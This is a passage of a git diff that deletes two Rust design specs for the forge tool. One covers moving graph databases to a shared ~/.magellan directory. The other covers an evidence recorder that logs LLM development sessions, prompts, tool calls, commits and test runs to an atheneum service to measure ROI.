- that magellan already provides correctly -- `#[cfg(not(feature = "magellan"))]` fallback arms exist alongside the magellan paths - ---- - -## Database Path Convention - -All project databases live in `~/.magellan/.db` where `` is the final -directory component of the project root. - -Examples: -- `Forge::open("/home/user/Projects/geographdb-core")` β†’ `~/.magellan/geographdb-core.db` -- `Forge::open("/home/user/Projects/splice")` β†’ `~/.magellan/splice.db` - -This matches the convention used by magellan itself and enables the cross-project -registry: any tool that looks in `~/.magellan/` finds all indexed project databases. - -### Overrides - -`ForgeBuilder` exposes two override methods: - -```rust -ForgeBuilder::new() - .path("./my-project") - .db_path(PathBuf::from("/custom/path/graph.db")) // full override - .build().await? - -ForgeBuilder::new() - .path("./my-project") - .db_dir(PathBuf::from("/custom/dir/")) // dir override, stem derived - .build().await? -``` - -A `default_db_path(project_root: &Path) -> PathBuf` helper handles path derivation. -It reads `dirs::home_dir()` (or falls back to `$HOME`) and appends `.magellan/.db`. - ---- - -## `UnifiedGraphStore` Changes - -`UnifiedGraphStore` keeps its sqlitegraph connection (still needed by the knowledge -module). The only change is the DB path it resolves to: `~/.magellan/.db` -instead of `.forge/graph.db`. - -Field changes: -- `db_path: PathBuf` β€” updated to the global path -- `codebase_path: PathBuf` β€” unchanged (project root, used for file-relative ops) - -No other structural changes to `UnifiedGraphStore`. - ---- - -## `GraphModule` Method Rewrites - -Each method opens `magellan::CodeGraph` on the resolved DB path. `CodeGraph` manages -its own SQLite connection; forge does not hold a persistent `CodeGraph` handle (keeps -the design stateless, avoids connection lifecycle complexity). - -### `find_symbol(name: &str)` - -Replace the O(n) file-node scan with a direct name-indexed lookup via -`magellan::CodeGraph`. Convert `magellan::SymbolInfo` β†’ `forge_core::types::Symbol` -using the existing `map_magellan_language` helper. - -### `callers_of(name: &str)` - -Remove the per-file loop. Use magellan's cross-file caller resolution directly. -Convert results to `forge_core::types::Reference`. - -### `references(name: &str)` - -Replace per-file loop with `magellan::cross_file_references_to(name)` β€” already -in magellan's public API (`pub use graph::query::cross_file_references_to`). - -### `cycles()` - -Remove the `Ok(Vec::new())` stub. Magellan exposes `CondensationResult` and `Cycle` -from its public API (`pub use graph::{CondensationGraph, CondensationResult, Cycle}`). -Open `CodeGraph`, call the condensation/SCC API, and convert results to -`forge_core::types::Cycle`. If magellan's `Cycle` type is compatible enough, consider -re-exporting it directly rather than maintaining a parallel type. - -### `impact_analysis(symbol_name, max_hops)` - -Remove `GraphQueryEngine` call. Use magellan's context/impact query API. -Return `Vec` β€” `ImpactedSymbol` struct moves from `graph/queries.rs` -to `graph/mod.rs` since it is part of the public API surface. - -### `index()` - -Fix the DB path from `.forge/graph.db` to the resolved `~/.magellan/.db`. -No other changes needed. - ---- - -## Deletions - -| What | Why | -|------|-----| -| `src/graph/queries.rs` | Entire file β€” `GraphQueryEngine` and all helpers are replaced by magellan | -| All `#[cfg(not(feature = "magellan"))]` arms in `graph/mod.rs` | Fallback paths go away; magellan is always-on in `default` | -| `graph/mod.rs` import of `queries::GraphQueryEngine` | No longer needed | - -The `ImpactedSymbol` struct from `queries.rs` is kept but moved inline into -`graph/mod.rs` (it is a public return type β€” removing it would be a breaking change). - ---- - -## Cargo.toml - -No dependency changes needed. `magellan` is already listed as optional and enabled by -the `default` feature. The `which` dep stays (used elsewhere for tool-not-found errors). - -The only possible addition: `dirs = "5"` for `home_dir()` resolution, if not already -present. Check `Cargo.toml` at implementation time; if `dirs` is absent, use -`std::env::var("HOME")` with a documented fallback. - ---- - -## Test Helper - -Existing tests use `tempfile::tempdir()` and pass an explicit `db_path` via -`ForgeBuilder`. After this change, `Forge::open(tmpdir)` would try to write to -`~/.magellan/` during tests β€” wrong. Tests must use `ForgeBuilder` with `db_path` -override pointing inside the tempdir. - -Add a test helper `open_test_forge(dir: &Path) -> Forge` that: -1. Resolves `db_path` to `dir.join("graph.db")` (inside tempdir, not global) -2. Creates the magellan schema via `magellan::CodeGraph::open(db_path)` -3. Returns a `Forge` instance ready for assertions - -All existing tests in `graph/mod.rs` are updated to call this helper instead of -`Forge::open(temp_dir.path())`. - ---- - -## Out of Scope - -- Search module (llmgrep integration) β€” separate spec -- CFG module (mirage integration) β€” separate spec -- Edit module (splice integration) β€” separate spec -- Cross-project registry β€” separate spec (foundation in `magellan/src/registry_cmd.rs`) -- `knowledge` module β€” no changes - ---- - -## Success Criteria - -- `cargo test -p forge-core` passes with no `#[cfg(not(feature = "magellan"))]` paths -- `cargo clippy -p forge-core -- -D warnings` clean -- `src/graph/queries.rs` does not exist -- `Forge::open("./geographdb-core").graph().find_symbol("main")` returns results from - `~/.magellan/geographdb-core.db` (if previously indexed by magellan) -- `Forge::open("./geographdb-core").graph().cycles()` returns actual data, not empty vec diff --git a/docs/superpowers/specs/2026-05-26-forge-evidence-recorder-design.md b/docs/superpowers/specs/2026-05-26-forge-evidence-recorder-design.md deleted file mode 100644 index 1dc3d9c..0000000 --- a/docs/superpowers/specs/2026-05-26-forge-evidence-recorder-design.md +++ /dev/null @@ -1,938 +0,0 @@ -# Forge Evidence Recorder Design - -**Date:** 2026-05-26 -**Status:** Draft -**Scope:** forge_agent, forge_core -**Preceded by:** `llm-dev-roi-measurement.md` (sqlitegraph case study), `forge-evidence-recorder.md` (atheneum overlap analysis) - -## Context - -Forge needs to measure LLM-assisted development ROI. Managers need real numbers: features shipped, fix cycles, token cost, LOC survival rate, time-to-quality. Today these metrics require manual git log pipelines. This spec adds automatic evidence recording to forge's agent loop, storing everything as atheneum graph entities via envoy's existing HTTP transport. - -Atheneum already has 60% of the schema (Agent, ReasoningLog, ToolCall, FileChange entities with Called/Modified/CausedBy edges, plus SQL tables for agents/reasoning_logs/tool_calls). The envoy client in forge_agent already supports atheneum discoveries, handoffs, and knowledge queries. This spec extends both. - -## Design Decisions - -| Decision | Choice | Rationale | -|----------|--------|-----------| -| Storage | Atheneum via envoy HTTP | No new database, no new service, reuses existing causal chain | -| Transport | Existing `EnvoyClient` | Already in forge_agent, already feature-gated, already tested | -| Session model | New `Session` entity | Atheneum's Agent is identity; Session is temporal scope. Agnostic β€” any tool creates sessions | -| Prompt tracking | Extend existing `ReasoningLog` | ALTER TABLE + extended data, not a parallel table | -| Tool call tracking | Extend existing `ToolCall` | ALTER TABLE + extended data, add category/latency/hashes | -| File write tracking | Extend existing `FileChange` | Add before/after hashes and LOC stats to entity data | -| Commit tracking | New `Commit` entity + post-commit hook in `Committer` | No git integration exists in atheneum | -| Fix chain linking | Use existing `CausedBy` edge type | Wire it up between Commit entities | -| Test/bench tracking | New `TestRun` / `Benchmark` entities | Verification engine already runs tests, just needs capture | -| Release tracking | New `Release` entity | Computed at tag time from aggregated session data | -| Event log | New `event_log` SQL table in atheneum v4 migration | Append-only, never UPDATE/DELETE | -| Naming | Agnostic, not forge-specific | Tables are `sessions`, `commits`, `test_runs`. Routes are `/atheneum/sessions`. Forge is one client. Any tool can record evidence | -| Config | `[evidence]` section in `.forge.toml` | `tool_name` identifies the client. No section = no recording | - -## Architecture - -``` -Agent Loop (existing) - β”‚ - β”œβ”€β”€ observe ──→ ForgeSession.start_tool_call("magellan_find", ...) - β”‚ └── EnvoyClient.record_tool_call(...) β†’ POST /atheneum/tool-calls - β”‚ - β”œβ”€β”€ plan ──→ ForgeSession.record_prompt(input, output, tokens, cost) - β”‚ └── EnvoyClient.record_prompt(...) β†’ POST /atheneum/prompts - β”‚ - β”œβ”€β”€ mutate ──→ ForgeSession.record_file_write(path, before_hash, after_hash, diff) - β”‚ └── EnvoyClient.record_file_write(...) β†’ POST /atheneum/file-writes - β”‚ - β”œβ”€β”€ verify ──→ ForgeSession.record_test_run(name, result, duration_ms) - β”‚ └── EnvoyClient.record_test_run(...) β†’ POST /atheneum/test-runs - β”‚ - └── commit ──→ ForgeSession.record_commit(sha, message, type) - β”œβ”€β”€ Committer.finalize() β€” existing, adds post-commit hook - └── EnvoyClient.record_commit(...) β†’ POST /atheneum/commits - -ForgeSession (new) - β”œβ”€β”€ session_id: UUID v7 - β”œβ”€β”€ started_at, ended_at - β”œβ”€β”€ envoy: &EnvoyClient - β”œβ”€β”€ prompt_count, tool_call_count, file_write_count - └── total_input_tokens, total_output_tokens, total_cost_usd -``` - -## Files to Create - -| File | Purpose | -|------|---------| -| `forge_agent/src/evidence/mod.rs` | ForgeSession, EvidenceRecorder, all measurement types | -| `forge_agent/src/evidence/session.rs` | ForgeSession lifecycle (start, end, metrics) | -| `forge_agent/src/evidence/types.rs` | ToolCategory, FixType, Severity, CommitType enums | -| `forge_agent/src/evidence/recorder.rs` | EvidenceRecorder trait + EnvoyEvidenceRecorder impl | - -## Files to Modify - -| File | Change | -|------|--------| -| `forge_agent/src/lib.rs` | Add `pub mod evidence;`, add `session: Option` to Agent | -| `forge_agent/src/envoy.rs` | Add forge-specific HTTP methods (13 new methods) | -| `forge_agent/src/loop.rs` | Add evidence hooks at each phase transition | -| `forge_agent/src/commit.rs` | Add post-commit hook to record git commit SHA and stats | -| `forge_agent/src/verify.rs` | Add post-test hook to capture individual test results | -| `forge_agent/Cargo.toml` | Add `uuid` dependency (already present), `sha2` (already present) | -| `forge_agent/tests/evidence_tests.rs` | Unit tests for ForgeSession, recorder, types | - -No changes to forge_core, forge_runtime, or forge-reasoning. All evidence recording is in forge_agent. - -## Feature Flag - -```toml -[features] -evidence = ["envoy"] # evidence requires envoy (reuses reqwest) -``` - -Evidence recording requires envoy because the storage is atheneum. No local-only mode for v1. - -## New Types - -### evidence/types.rs - -```rust -use serde::{Deserialize, Serialize}; - -#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)] -pub enum ToolCategory { - GroundedQuery, - FileRead, - FileWrite, - Test, - Bench, - Git, - Shell, - Other, -} - -#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)] -pub enum CommitType { - Feature, - Fix, - Refactor, - Test, - Docs, - Release, - Chore, - Ci, - Style, - Merge, -} - -#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)] -pub enum FixType { - CompileError, - LogicBug, - TestFailure, - Crash, - Deadlock, - PerfRegression, - Style, - Doc, - Ci, -} - -#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)] -pub enum Severity { - Critical, - High, - Medium, - Low, -} - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct PromptRecord { - pub role: String, - pub sequence: u32, - pub input_hash: String, - pub input_tokens: Option, - pub output_hash: Option, - pub output_tokens: Option, - pub latency_ms: Option, - pub model: Option, - pub cost_usd: Option, -} - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct ToolCallRecord { - pub tool_name: String, - pub tool_version: Option, - pub input_hash: String, - pub input_summary: String, - pub output_hash: Option, - pub output_summary: Option, - pub exit_status: String, - pub latency_ms: u64, - pub input_tokens_est: Option, - pub tool_category: ToolCategory, -} - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct FileWriteRecord { - pub file_path: String, - pub file_id: String, - pub before_hash: Option, - pub after_hash: String, - pub lines_added: u64, - pub lines_deleted: u64, - pub lines_changed: u64, - pub write_type: String, -} - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct CommitRecord { - pub commit_sha: String, - pub parent_sha: Option, - pub message: String, - pub author: String, - pub files_changed: u64, - pub lines_inserted: u64, - pub lines_deleted: u64, - pub commit_type: CommitType, - pub feature_tag: Option, -} - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct TestRunRecord { - pub test_name: String, - pub test_suite: Option, - pub test_command: String, - pub result: String, - pub duration_ms: u64, - pub logs_summary: Option, -} - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct BenchRunRecord { - pub bench_name: String, - pub bench_suite: Option, - pub mean_ns: Option, - pub median_ns: Option, - pub p95_ns: Option, - pub iterations: Option, -} - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct FixChainRecord { - pub bug_commit_sha: String, - pub fix_commit_sha: String, - pub fix_type: FixType, - pub severity: Severity, - pub cycles_to_fix: u32, - pub time_to_fix_ms: u64, -} -``` - -## ForgeSession - -### evidence/session.rs - -```rust -use crate::evidence::types::*; -use crate::envoy::EnvoyClient; -use serde::{Deserialize, Serialize}; -use sha2::{Digest, Sha256}; -use std::sync::atomic::{AtomicU32, AtomicU64, Ordering}; -use std::sync::Arc; -use tokio::sync::RwLock; -use uuid::Uuid; - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct SessionMetrics { - pub session_id: String, - pub project: String, - pub trigger: String, - pub model: Option, - pub started_at: String, - pub ended_at: Option, - pub exit_status: Option, - pub git_branch: Option, - pub git_head: Option, - pub prompt_count: u32, - pub tool_call_count: u32, - pub file_write_count: u32, - pub commit_count: u32, - pub test_run_count: u32, - pub total_input_tokens: u64, - pub total_output_tokens: u64, - pub total_cost_usd: f64, -} - -pub struct ForgeSession { - envoy: EnvoyClient, - metrics: Arc>, - prompt_sequence: AtomicU32, - tool_call_count: AtomicU32, - file_write_count: AtomicU32, - commit_count: AtomicU32, - test_run_count: AtomicU32, - total_input_tokens: AtomicU64, - total_output_tokens: AtomicU64, - total_cost_usd: Arc>, -} -``` - -### Constructor and Lifecycle - -```rust -impl ForgeSession { - pub fn new(envoy: EnvoyClient, project: &str, model: Option<&str>) -> Self { - let session_id = Uuid::now_v7().to_string(); - let started_at = chrono::Utc::now().to_rfc3339(); - let git_branch = Self::current_git_branch(); - let git_head = Self::current_git_head(); - - let session = Self { - envoy, - metrics: Arc::new(RwLock::new(SessionMetrics { - session_id, - project: project.to_string(), - trigger: "cli".to_string(), - model: model.map(String::from), - started_at, - ended_at: None, - exit_status: None, - git_branch, - git_head, - prompt_count: 0, - tool_call_count: 0, - file_write_count: 0, - commit_count: 0, - test_run_count: 0, - total_input_tokens: 0, - total_output_tokens: 0, - total_cost_usd: 0.0, - })), - prompt_sequence: AtomicU32::new(0), - tool_call_count: AtomicU32::new(0), - file_write_count: AtomicU32::new(0), - commit_count: AtomicU32::new(0), - test_run_count: AtomicU32::new(0), - total_input_tokens: AtomicU64::new(0), - total_output_tokens: AtomicU64::new(0), - total_cost_usd: Arc::new(std::sync::Mutex::new(0.0)), - }; - - // Fire-and-forget: tell atheneum the session started - let envoy = session.envoy.clone(); - let metrics = session.metrics.clone(); - tokio::spawn(async move { - let m = metrics.read().await; - let _ = envoy.forge_session_start(&m.session_id, &m.project, &m).await; - }); - - session - } - - pub async fn end(&self, exit_status: &str) { - let mut m = self.metrics.write().await; - m.ended_at = Some(chrono::Utc::now().to_rfc3339()); - m.exit_status = Some(exit_status.to_string()); - m.prompt_count = self.prompt_sequence.load(Ordering::Relaxed); - m.tool_call_count = self.tool_call_count.load(Ordering::Relaxed); - m.file_write_count = self.file_write_count.load(Ordering::Relaxed); - m.commit_count = self.commit_count.load(Ordering::Relaxed); - m.test_run_count = self.test_run_count.load(Ordering::Relaxed); - m.total_input_tokens = self.total_input_tokens.load(Ordering::Relaxed); - m.total_output_tokens = self.total_output_tokens.load(Ordering::Relaxed); - m.total_cost_usd = *self.total_cost_usd.lock().unwrap(); - - let _ = self.envoy.forge_session_end(&m.session_id, exit_status, &*m).await; - } - - fn current_git_branch() -> Option { - std::process::Command::new("git") - .args(["branch", "--show-current"]) - .output() - .ok() - .map(|o| String::from_utf8_lossy(&o.stdout).trim().to_string()) - .filter(|s| !s.is_empty()) - } - - fn current_git_head() -> Option { - std::process::Command::new("git") - .args(["rev-parse", "HEAD"]) - .output() - .ok() - .map(|o| String::from_utf8_lossy(&o.stdout).trim().to_string()) - .filter(|s| !s.is_empty()) - } -} -``` - -### Recording Methods - -Each method is fire-and-forget (spawned task). Errors are logged but don't fail the agent loop. - -```rust -impl ForgeSession { - pub fn record_prompt(&self, record: PromptRecord) { - let seq = self.prompt_sequence.fetch_add(1, Ordering::Relaxed); - if let Some(tokens) = record.input_tokens { - self.total_input_tokens.fetch_add(tokens, Ordering::Relaxed); - } - if let Some(tokens) = record.output_tokens { - self.total_output_tokens.fetch_add(tokens, Ordering::Relaxed); - } - if let Some(cost) = record.cost_usd { - *self.total_cost_usd.lock().unwrap() += cost; - } - - let session_id = self.session_id(); - let envoy = self.envoy.clone(); - tokio::spawn(async move { - let _ = envoy.forge_prompt(&session_id, seq, &record).await; - }); - } - - pub fn record_tool_call(&self, record: ToolCallRecord) { - self.tool_call_count.fetch_add(1, Ordering::Relaxed); - if let Some(tokens) = record.input_tokens_est { - self.total_input_tokens.fetch_add(tokens, Ordering::Relaxed); - } - - let session_id = self.session_id(); - let envoy = self.envoy.clone(); - tokio::spawn(async move { - let _ = envoy.forge_tool_call(&session_id, &record).await; - }); - } - - pub fn record_file_write(&self, record: FileWriteRecord) { - self.file_write_count.fetch_add(1, Ordering::Relaxed); - - let session_id = self.session_id(); - let envoy = self.envoy.clone(); - tokio::spawn(async move { - let _ = envoy.forge_file_write(&session_id, &record).await; - }); - } - - pub fn record_commit(&self, record: CommitRecord) { - self.commit_count.fetch_add(1, Ordering::Relaxed); - - let session_id = self.session_id(); - let envoy = self.envoy.clone(); - tokio::spawn(async move { - let _ = envoy.forge_commit(&session_id, &record).await; - }); - } - - pub fn record_test_run(&self, record: TestRunRecord) { - self.test_run_count.fetch_add(1, Ordering::Relaxed); - - let session_id = self.session_id(); - let envoy = self.envoy.clone(); - tokio::spawn(async move { - let _ = envoy.forge_test_run(&session_id, &record).await; - }); - } - - pub fn record_fix_chain(&self, record: FixChainRecord) { - let session_id = self.session_id(); - let envoy = self.envoy.clone(); - tokio::spawn(async move { - let _ = envoy.forge_fix_chain(&session_id, &record).await; - }); - } - - fn session_id(&self) -> String { - // Read session_id from metrics without holding the write lock - // Use try_lock to avoid blocking - self.metrics.try_read() - .map(|m| m.session_id.clone()) - .unwrap_or_default() - } -} -``` - -## EnvoyClient Extension - -### envoy.rs β€” New Methods - -Add these methods to the existing `EnvoyClient`. All follow the same pattern as existing atheneum methods: build JSON, POST to envoy, return result or error. - -```rust -impl EnvoyClient { - // ── Forge Evidence Methods ────────────────────────────────────────────── - - pub async fn forge_session_start( - &self, - session_id: &str, - project: &str, - metrics: &SessionMetrics, - ) -> Result<(), EnvoyError> { - let body = serde_json::json!({ - "session_id": session_id, - "project": project, - "trigger": metrics.trigger, - "model": metrics.model, - "started_at": metrics.started_at, - "git_branch": metrics.git_branch, - "git_head": metrics.git_head, - }); - self.post("/atheneum/sessions", &body).await?; - Ok(()) - } - - pub async fn forge_session_end( - &self, - session_id: &str, - exit_status: &str, - metrics: &SessionMetrics, - ) -> Result<(), EnvoyError> { - let body = serde_json::json!({ - "exit_status": exit_status, - "ended_at": metrics.ended_at, - "prompt_count": metrics.prompt_count, - "tool_call_count": metrics.tool_call_count, - "file_write_count": metrics.file_write_count, - "commit_count": metrics.commit_count, - "test_run_count": metrics.test_run_count, - "total_input_tokens": metrics.total_input_tokens, - "total_output_tokens": metrics.total_output_tokens, - "total_cost_usd": metrics.total_cost_usd, - }); - self.patch(&format!("/atheneum/sessions/{session_id}"), &body).await?; - Ok(()) - } - - pub async fn forge_prompt( - &self, - session_id: &str, - sequence: u32, - record: &PromptRecord, - ) -> Result<(), EnvoyError> { - let body = serde_json::json!({ - "session_id": session_id, - "sequence": sequence, - "role": record.role, - "input_hash": record.input_hash, - "input_tokens": record.input_tokens, - "output_hash": record.output_hash, - "output_tokens": record.output_tokens, - "latency_ms": record.latency_ms, - "model": record.model, - "cost_usd": record.cost_usd, - }); - self.post("/atheneum/prompts", &body).await?; - Ok(()) - } - - pub async fn forge_tool_call( - &self, - session_id: &str, - record: &ToolCallRecord, - ) -> Result<(), EnvoyError> { - let body = serde_json::json!({ - "session_id": session_id, - "tool_name": record.tool_name, - "tool_version": record.tool_version, - "input_hash": record.input_hash, - "input_summary": record.input_summary, - "output_hash": record.output_hash, - "output_summary": record.output_summary, - "exit_status": record.exit_status, - "latency_ms": record.latency_ms, - "input_tokens_est": record.input_tokens_est, - "tool_category": record.tool_category, - }); - self.post("/atheneum/tool-calls", &body).await?; - Ok(()) - } - - pub async fn forge_file_write( - &self, - session_id: &str, - record: &FileWriteRecord, - ) -> Result<(), EnvoyError> { - let body = serde_json::json!({ - "session_id": session_id, - "file_path": record.file_path, - "file_id": record.file_id, - "before_hash": record.before_hash, - "after_hash": record.after_hash, - "lines_added": record.lines_added, - "lines_deleted": record.lines_deleted, - "lines_changed": record.lines_changed, - "write_type": record.write_type, - }); - self.post("/atheneum/file-writes", &body).await?; - Ok(()) - } - - pub async fn forge_commit( - &self, - session_id: &str, - record: &CommitRecord, - ) -> Result<(), EnvoyError> { - let body = serde_json::json!({ - "session_id": session_id, - "commit_sha": record.commit_sha, - "parent_sha": record.parent_sha, - "message": record.message, - "author": record.author, - "files_changed": record.files_changed, - "lines_inserted": record.lines_inserted, - "lines_deleted": record.lines_deleted, - "commit_type": record.commit_type, - "feature_tag": record.feature_tag, - }); - self.post("/atheneum/commits", &body).await?; - Ok(()) - } - - pub async fn forge_test_run( - &self, - session_id: &str, - record: &TestRunRecord, - ) -> Result<(), EnvoyError> { - let body = serde_json::json!({ - "session_id": session_id, - "test_name": record.test_name, - "test_suite": record.test_suite, - "test_command": record.test_command, - "result": record.result, - "duration_ms": record.duration_ms, - "logs_summary": record.logs_summary, - }); - self.post("/atheneum/test-runs", &body).await?; - Ok(()) - } - - pub async fn forge_fix_chain( - &self, - session_id: &str, - record: &FixChainRecord, - ) -> Result<(), EnvoyError> { - let body = serde_json::json!({ - "session_id": session_id, - "bug_commit_sha": record.bug_commit_sha, - "fix_commit_sha": record.fix_commit_sha, - "fix_type": record.fix_type, - "severity": record.severity, - "cycles_to_fix": record.cycles_to_fix, - "time_to_fix_ms": record.time_to_fix_ms, - }); - self.post("/atheneum/fix-chains", &body).await?; - Ok(()) - } - - pub async fn forge_dashboard( - &self, - project: &str, - ) -> Result { - self.get_json(&format!("/atheneum/dashboard?project={project}")).await - } - - pub async fn forge_roi( - &self, - project: &str, - from_tag: &str, - to_tag: &str, - ) -> Result { - self.get_json(&format!( - "/atheneum/roi?project={project}&from={from_tag}&to={to_tag}" - )).await - } -} -``` - -## Agent Loop Integration - -### lib.rs β€” Add session to Agent - -```rust -// In Agent struct (existing): -pub struct Agent { - codebase_path: PathBuf, - forge: Option, - llm: Option>, - envoy: Option, - session: Option>, // NEW -} - -// In Agent::run() or AgentLoop::run(): -// Before loop starts: -let session = if let Some(ref envoy) = self.envoy { - Some(Arc::new(evidence::ForgeSession::new( - envoy.clone(), - project_name, - &self.config.evidence.tool_name, - self.llm.as_ref().map(|p| p.model_name()), - ))) -} else { - None -}; - -// After loop ends: -if let Some(ref session) = session { - session.end(exit_status).await; -} -``` - -### loop.rs β€” Phase Hooks - -```rust -// At observe phase start: -if let Some(ref session) = self.session { - session.record_tool_call(ToolCallRecord { - tool_name: "magellan_find".into(), - tool_category: ToolCategory::GroundedQuery, - input_hash: sha256_hex(&query), - input_summary: format!("--name {} --db {}", symbol, db), - exit_status: "success".into(), - latency_ms: elapsed.as_millis() as u64, - ..Default::default() - }); -} - -// At plan phase (LLM call): -if let Some(ref session) = self.session { - session.record_prompt(PromptRecord { - role: "user".into(), - sequence: 0, // auto-incremented by session - input_hash: sha256_hex(&prompt_text), - input_tokens: response.usage.input_tokens, - output_hash: Some(sha256_hex(&response_text)), - output_tokens: response.usage.output_tokens, - latency_ms: Some(elapsed.as_millis() as u64), - model: Some(model_name.into()), - cost_usd: Some(computed_cost), - }); -} - -// At mutate phase (file edit): -if let Some(ref session) = self.session { - session.record_file_write(FileWriteRecord { - file_path: path.to_string_lossy().into(), - file_id: sha256_hex(path.to_string_lossy().as_bytes()), - before_hash: Some(sha256_hex(&before_content)), - after_hash: sha256_hex(&after_content), - lines_added: diff.added(), - lines_deleted: diff.deleted(), - lines_changed: diff.changed(), - write_type: "edit".into(), - }); -} -``` - -### commit.rs β€” Post-Commit Hook - -```rust -// In Committer::finalize(), after successful git commit: -if let Some(ref session) = session { - let sha = self.get_head_sha(working_dir).await?; - let stats = self.get_commit_stats(working_dir, &sha).await?; - let commit_type = classify_commit_message(message); - - session.record_commit(CommitRecord { - commit_sha: sha, - parent_sha: stats.parent_sha, - message: message.to_string(), - author: stats.author, - files_changed: stats.files_changed, - lines_inserted: stats.lines_inserted, - lines_deleted: stats.lines_deleted, - commit_type, - feature_tag: extract_feature_tag(message), - }); -} -``` - -### verify.rs β€” Post-Test Hook - -```rust -// In Verifier::run_tests(), after cargo test completes: -if let Some(ref session) = session { - for test in &parsed_results { - session.record_test_run(TestRunRecord { - test_name: test.name.clone(), - test_suite: test.module.clone(), - test_command: test.command.clone(), - result: if test.passed { "pass" } else { "fail" }.into(), - duration_ms: test.duration_ms, - logs_summary: test.failure_message.clone(), - }); - } -} -``` - -## Hash Utility - -```rust -fn sha256_hex(data: impl AsRef<[u8]>) -> String { - use sha2::{Digest, Sha256}; - let mut hasher = Sha256::new(); - hasher.update(data.as_ref()); - format!("{:x}", hasher.finalize()) -} -``` - -## Commit Classification - -```rust -fn classify_commit_message(msg: &str) -> CommitType { - let lower = msg.to_lowercase(); - if lower.starts_with("feat") || lower.contains("feature") { CommitType::Feature } - else if lower.starts_with("fix") || lower.contains("bug") { CommitType::Fix } - else if lower.starts_with("refactor") { CommitType::Refactor } - else if lower.starts_with("test") || lower.contains("bench") { CommitType::Test } - else if lower.starts_with("docs") { CommitType::Docs } - else if lower.starts_with("release") || lower.contains("bump") { CommitType::Release } - else if lower.starts_with("chore") { CommitType::Chore } - else if lower.starts_with("ci") { CommitType::Ci } - else if lower.starts_with("style") { CommitType::Style } - else if lower.starts_with("merge") { CommitType::Merge } - else { CommitType::Feature } // default to feature for unrecognized -} - -fn extract_feature_tag(msg: &str) -> Option { - let re = regex::Regex::new(r"(?:feat|fix|refactor)\(([^)]+)\)").ok()?; - re.captures(msg).map(|c| c[1].to_string()) -} -``` - -## Testing - -### MockEvidenceRecorder - -```rust -#[cfg(test)] -pub struct MockEvidenceRecorder { - prompts: std::sync::Mutex>, - tool_calls: std::sync::Mutex>, - file_writes: std::sync::Mutex>, - commits: std::sync::Mutex>, - test_runs: std::sync::Mutex>, - fix_chains: std::sync::Mutex>, -} -``` - -### Test Categories - -1. **Session lifecycle** β€” start, end, metrics aggregation -2. **Token counting** β€” prompt records accumulate input/output tokens -3. **Cost tracking** β€” cost_usd sums across prompts -4. **Tool category classification** β€” grounded_query vs file_read -5. **Commit classification** β€” conventional commit parsing -6. **Feature tag extraction** β€” `feat(15-04)` β†’ `Some("15-04")` -7. **SHA-256 hashing** β€” deterministic, correct output -8. **Fire-and-forget** β€” recording methods don't block the agent loop -9. **Agent integration** β€” session created when envoy configured, skipped when not -10. **Graceful degradation** β€” envoy errors logged, not propagated - -### No Integration Tests Against Live Envoy - -Same pattern as existing envoy integration: all HTTP interactions tested via mocks. Real envoy routes tested in envoy's own test suite. - -## Atheneum v4 Migration (Separate Repo) - -The SQL schema changes live in the atheneum repo, not forge. Forge is one client. The v4 migration creates agnostic tables any tool can use: - -- `sessions` table -- ALTER `reasoning_logs` (add session_id column) -- ALTER `tool_calls` (add session_id column) -- `commits` table -- `test_runs` table -- `bench_runs` table -- `releases` table -- `fix_chains` table -- `event_log` table (append-only) - -### Config-driven enablement - -In `.forge.toml` (or any tool's config): - -```toml -[evidence] -enabled = true -tool_name = "forge" # identifies the client in the sessions table -project = "sqlitegraph" # project scope for queries -``` - -No `[evidence]` section = no recording. - -Full SQL in `.remember/forge-evidence-recorder.md`. - -### Envoy Route Additions (Separate Repo) - -13 new routes added to envoy's `atheneum_bridge.rs`: - -| Method | Path | Body | -|--------|------|------| -| POST | `/atheneum/sessions` | session start payload | -| PATCH | `/atheneum/sessions/:id` | session end payload | -| POST | `/atheneum/prompts` | prompt record | -| POST | `/atheneum/tool-calls` | tool call record | -| POST | `/atheneum/file-writes` | file write record | -| POST | `/atheneum/commits` | commit record | -| POST | `/atheneum/fix-chains` | fix chain record | -| POST | `/atheneum/test-runs` | test run record | -| POST | `/atheneum/bench-runs` | benchmark record | -| POST | `/atheneum/releases` | release record | -| GET | `/atheneum/events` | query event log | -| GET | `/atheneum/dashboard` | project ROI dashboard | -| GET | `/atheneum/roi` | ROI between two releases | - -## Implementation Order - -| Phase | Crate | Deliverable | Depends On | -|-------|-------|-------------|------------| -| **P1** | forge_agent | `evidence/types.rs` β€” all record types and enums | Nothing | -| **P2** | forge_agent | `evidence/session.rs` β€” ForgeSession with lifecycle | P1 | -| **P3** | forge_agent | `evidence/recorder.rs` β€” EvidenceRecorder trait | P2 | -| **P4** | forge_agent | `envoy.rs` β€” 13 new HTTP methods | P2 | -| **P5** | forge_agent | `lib.rs` β€” session field on Agent, creation in run() | P3, P4 | -| **P6** | forge_agent | `loop.rs` β€” phase hooks for prompt/tool_call/file_write | P5 | -| **P7** | forge_agent | `commit.rs` β€” post-commit hook, git SHA capture | P5 | -| **P8** | forge_agent | `verify.rs` β€” post-test hook, test result capture | P5 | -| **P9** | forge_agent | `evidence_tests.rs` β€” all test categories | P1-P8 | -| **P10** | atheneum | v4 migration β€” agnostic SQL tables | P1 (types contract) | -| **P11** | envoy | evidence routes in atheneum_bridge | P10 | -| **P12** | forge_agent | Live integration test against envoy+atheneum | P9, P11 | - -## Out of Scope (v1) - -- Benchmark capture (requires cargo bench output parsing) -- Release aggregation (requires git tag hooks) -- Fix chain auto-detection (requires commit message pattern matching + temporal analysis) -- Cross-project dashboard (atheneum already supports project scoping) -- Local-only mode (evidence without envoy) -- Real-time WebSocket push -- Dashboard UI (API only) - -## Metrics This Enables - -Once P1-P12 are complete, these metrics are computable from atheneum SQL: - -```sql --- Features per release -SELECT version_tag, features_count, fixes_count FROM releases; - --- First-attempt accuracy -SELECT ROUND( - COUNT(CASE WHEN cycles_to_fix = 0 THEN 1 